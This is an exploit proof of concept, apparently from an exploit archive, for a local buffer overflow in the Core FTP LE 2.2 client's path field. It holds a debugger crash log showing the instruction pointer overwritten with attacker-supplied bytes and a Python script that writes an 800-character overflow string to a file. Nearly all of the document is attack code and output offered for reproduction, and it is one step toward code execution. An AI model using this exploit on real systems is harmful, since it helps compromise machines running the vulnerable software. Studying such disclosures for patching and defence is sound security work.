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Core FTP LE 2.2 - Path Field Local Buffer Overflow
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来源：vfocus.net 作者：Netfairy 发布时间：2016-07-08
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'''
# Exploit Title: Core FTP Server v2.2 - BufferOverflow POC
# Date: 2016-6-28
# Exploit Author: Netfairy
# Vendor Homepage: http://www.coreftp.com/
# Software Link: ftp://ftp.coreftp.com/coreftplite.exe
# Version: 2.2
# Tested on: Windows7 Professional SP1 En x86
# CVE : N/A
[+] Type : Buffer overflow
[+] Detail :
[-] The vulnerability has the most typical Buffer overflow vulnerabilities.
[-] enter the application and Input "A"*800 to the path box the press enter
[-] crash info
0:008> g
(4d48.4cc8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00440770 ecx=00410041 edx=007c4ee4 esi=00000000 edi=01b1efe8
eip=00410041 esp=0012d6a0 ebp=00410041 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\CoreFTP\coreftp.exe
coreftp+0x10041:
00410041 008b45fc8be5 add byte ptr [ebx-1A7403BBh],cl ds:0023:e5d003b5=??
########generate "A"*800
'''
import struct
junk = "A" * 800
with open("exp.txt","wb") as f :
f.write(junk)
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